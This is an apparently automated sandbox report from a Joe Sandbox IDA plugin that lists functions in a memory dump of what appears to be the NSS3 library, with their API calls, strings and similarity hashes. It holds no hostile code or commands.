Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: dc1fbcce7e088bd83a4cced4aeb7cfe94cd7d5c838b1aaa0902f12ebf30a5fe1
Instruction ID: 28c81ebaddfb73fa214c35a6141f11110cd87732556d38ea3b25dff53e969e3a
Opcode Fuzzy Hash: dc1fbcce7e088bd83a4cced4aeb7cfe94cd7d5c838b1aaa0902f12ebf30a5fe1
Instruction Fuzzy Hash: 921127759412056BE6105A25AC84FBBB2B8BF4270CF050534E81572E61FB35E61C87EE

Function 6C760EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C642357), ref: 6C760EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C642357), ref: 6C760EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C760EE6

Part of subcall function 6C7609D0: PR_Now.NSS3 ref: 6C760A22
Part of subcall function 6C7609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C760A35
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C760A66
Part of subcall function 6C7609D0: PR_GetCurrentThread.NSS3 ref: 6C760A70
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C760A9D
Part of subcall function 6C7609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C760AC8
Part of subcall function 6C7609D0: PR_vsmprintf.NSS3(?,?), ref: 6C760AE8
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760B19
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760B48
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760C76
Part of subcall function 6C7609D0: PR_LogFlush.NSS3 ref: 6C760C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C760EFA

Part of subcall function 6C64AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C64AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F2B

Strings

Aborting, xrefs: 6C760EB3
Assertion failure: %s, at %s:%d, xrefs: 6C760ED9, 6C760EE5, 6C760F06, 6C760F0B

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 35ec7e05b92d6279d58eb15832c97f75ff31824f62fce96e2a762bc5e4bc6ef4
Instruction ID: 067482d12ba6637cb6d14ca54963ac54f3f92eb7a25781c4b4bfb7c1c1c6bd75
Opcode Fuzzy Hash: 35ec7e05b92d6279d58eb15832c97f75ff31824f62fce96e2a762bc5e4bc6ef4
Instruction Fuzzy Hash: 52F0AFB59002147BEB003BA1AC4EC9F3E2DDF82266F044034FD0956A02DA36E91496B6

Function 6C6C4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C6C4DCB

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C6C4DE1

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C6C4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6C4E59

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C78300C,00000000), ref: 6C6C4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C6C4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C6C4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6C521A

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: b8f62f1b4c5336cd0e0a1e61c7dda2e004e718cdcfa28ab69f74114934b92c98
Instruction ID: e0e16157fa520ecd96ba953d81e385f55c060dd23c6a341fb9fac20bfd61f9dd
Opcode Fuzzy Hash: b8f62f1b4c5336cd0e0a1e61c7dda2e004e718cdcfa28ab69f74114934b92c98
Instruction Fuzzy Hash: 3DF1AE71F00209CBDB04CF54D8407AEB7B2FF89358F254129D915AB781EB75E982CB96

Function 6C654FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C65502A
PR_NewLock.NSS3(00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C655034
PL_NewHashTable.NSS3(00000000,6C6AFE80,6C6AFD30,6C6FC350,00000000,00000000,00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C655055
PL_NewHashTable.NSS3(00000000,6C6AFE80,6C6AFD30,6C6FC350,00000000,00000000,?,00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C65506D

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 657b7862050c67390604c55c5e761525ef831130b41578b44c200cb070fcf3ba
Instruction ID: ee6e71a34298829745ec6e91d28c914b236e885fa2d0bb1f24da0190ea055af9
Opcode Fuzzy Hash: 657b7862050c67390604c55c5e761525ef831130b41578b44c200cb070fcf3ba
Instruction Fuzzy Hash: F331D0B1B03214ABEF109EA58C4CF4B3AB8EB13388F754135EA0993A40D3759815CBED

Function 6C5F2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5F2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C5F2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C5F3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C5F30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5F3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5F3178

Strings

database corruption, xrefs: 6C5F316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F3022, 6C5F3156, 6C5F3162, 6C5F318A, 6C5F3196, 6C5F31A2, 6C5F31AE, 6C5F31BA, 6C5F31C6
%s at line %d of [%.10s], xrefs: 6C5F3171

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: f209f4f267df034bb0c6e3f1f2d3620019c51563013d68106f2847a441859bb6
Instruction ID: d1b011660477391cc7a9f5b0f0bbebeb8affa978236d4a80e2e58842c69b1bfd
Opcode Fuzzy Hash: f209f4f267df034bb0c6e3f1f2d3620019c51563013d68106f2847a441859bb6
Instruction Fuzzy Hash: 7CB18EB0E052199BEB08CF9DCC85AEEB7B1BF48304F14442AE855B7B41D7749942CFA5

Function 6C642D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C642D69

Strings

@vl, xrefs: 6C642E24
winTruncate2, xrefs: 6C642EF8
winUnmapfile1, xrefs: 6C642F55
winSeekFile, xrefs: 6C642E9C
winUnmapfile2, xrefs: 6C642F7F
vl, xrefs: 6C642DD0
winTruncate1, xrefs: 6C642EBE
Pvl, xrefs: 6C642E74, 6C642EC5, 6C642F32, 6C642F5C

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __allrem
String ID: @vl$Pvl$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$vl
API String ID: 2933888876-684076108
Opcode ID: 17f7980f34df5fe855fe4c4724e94b77a5d109bdf74fb81ff03301fe246680fd
Instruction ID: 80ab5f505efdc68576e666db2f6006c06c34b1435f198a07b7743e7e67104344
Opcode Fuzzy Hash: 17f7980f34df5fe855fe4c4724e94b77a5d109bdf74fb81ff03301fe246680fd
Instruction Fuzzy Hash: CA61AE71A002099FDB04CF68DC98AAA7BB1FF49314F20C139E915DB780EB31AD16CB94

Function 6C6C7F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C6C7FB2

Part of subcall function 6C64BA40: TlsGetValue.KERNEL32 ref: 6C64BA51
Part of subcall function 6C64BA40: TlsGetValue.KERNEL32 ref: 6C64BA6B
Part of subcall function 6C64BA40: EnterCriticalSection.KERNEL32 ref: 6C64BA83
Part of subcall function 6C64BA40: TlsGetValue.KERNEL32 ref: 6C64BAA1
Part of subcall function 6C64BA40: _PR_MD_UNLOCK.NSS3 ref: 6C64BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C6C7FD4

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C6C9430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6C6C9466

PR_ExitMonitor.NSS3(?), ref: 6C6C801B
PR_EnterMonitor.NSS3(?), ref: 6C6C8034
TlsGetValue.KERNEL32 ref: 6C6C80A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6C80C0
PR_ExitMonitor.NSS3(?), ref: 6C6C811C
PR_ExitMonitor.NSS3(?), ref: 6C6C8134

Strings

), xrefs: 6C6C80DB

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 14a6dde32ba494b548dab941bcad77118a5c59aca526259f625f2a448708f61a
Instruction ID: 218d4211d2806e0fdeb91b600e32244ead8b7be79a6ea467aff5cc16473bec5b
Opcode Fuzzy Hash: 14a6dde32ba494b548dab941bcad77118a5c59aca526259f625f2a448708f61a
Instruction Fuzzy Hash: 03511071B047059AE7209F35DC04BEB77F0EF5A30CF08452AD95942A62EB31A909C69F

Function 6C66FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C66FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C66FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C66FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C66FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C66FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C66FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C66FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C66FD84

Strings

:, xrefs: 6C66FD78

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 8695da660f851be156a88b45b8b83a1e4dbb0741b0341d369457b6ea31133a53
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 2331B1B69002159BEB008AA6DD097AFB7E8EF45358F150134DD14A7F00E772E918C7EB

Function 6C650F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C650F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C650F84

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C66F59B,6C77890C,?), ref: 6C650FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C650FC1

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C650FDB
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C650FEF
PL_FreeArenaPool.NSS3(?), ref: 6C651001
PL_FinishArenaPool.NSS3(?), ref: 6C651009

Strings

security, xrefs: 6C650F5C

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: a433b45c742e488d2a6df581c2e326a8701be74dd1531833b9f5cb554e98013b
Instruction ID: 2f33a5cedb1597c5d48c7ea9df9e61b681385f2f1f7db252b210df549799a561
Opcode Fuzzy Hash: a433b45c742e488d2a6df581c2e326a8701be74dd1531833b9f5cb554e98013b
Instruction Fuzzy Hash: 3B21F7B1904204ABE7109F25DD40EABB7B4EF4525CF148518FC1897601F731D965CBA6

Function 6C656DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C657D8F,6C657D8F,?,?), ref: 6C656DC8

Part of subcall function 6C6AFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C6AFE08
Part of subcall function 6C6AFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C6AFE1D
Part of subcall function 6C6AFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C6AFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C657D8F,?,?), ref: 6C656DD5

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C778FA0,00000000,?,?,?,?,6C657D8F,?,?), ref: 6C656DF7

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C656E35

Part of subcall function 6C6AFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C6AFE29
Part of subcall function 6C6AFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C6AFE3D
Part of subcall function 6C6AFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C6AFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C656E4C

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C778FE0,00000000), ref: 6C656E82

Part of subcall function 6C656AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C65B21D,00000000,00000000,6C65B219,?,6C656BFB,00000000,?,00000000,00000000,?,?,?,6C65B21D), ref: 6C656B01
Part of subcall function 6C656AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C656B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C656F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C656F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C778FE0,00000000), ref: 6C656F6B
PR_SetError.NSS3(FFFFE005,00000000,6C657D8F,?,?), ref: 6C656FE1

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 559510ebaea87afb963f465e8f7bc70f1fd3d7dcc70dc9d207186dbce87f4748
Instruction ID: 954080093538478ea8aa8c816fb3a002fcd3cdbe785f486965df41281d5e056a
Opcode Fuzzy Hash: 559510ebaea87afb963f465e8f7bc70f1fd3d7dcc70dc9d207186dbce87f4748
Instruction Fuzzy Hash: D971C471E102469FEB00CF55CD40BAABBA5FF95308F654229E808D7B11F731EAA5CB94

Function 6C690FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C691057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C691085
PK11_GetAllTokens.NSS3 ref: 6C6910B1
free.MOZGLUE(?), ref: 6C691107
PR_SetError.NSS3(00000000,00000000), ref: 6C691172
free.MOZGLUE(?), ref: 6C691182
free.MOZGLUE(?), ref: 6C6911A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C6911C5

Part of subcall function 6C6952C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C66EAC5,00000001), ref: 6C6952DF
Part of subcall function 6C6952C0: EnterCriticalSection.KERNEL32(?), ref: 6C6952F3
Part of subcall function 6C6952C0: PR_Unlock.NSS3(?), ref: 6C695358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6911D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6911F3

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 1bc08763ea044f039ee64c84b7db9da5741b7d54031a55be5b23d1de1edf8f9c
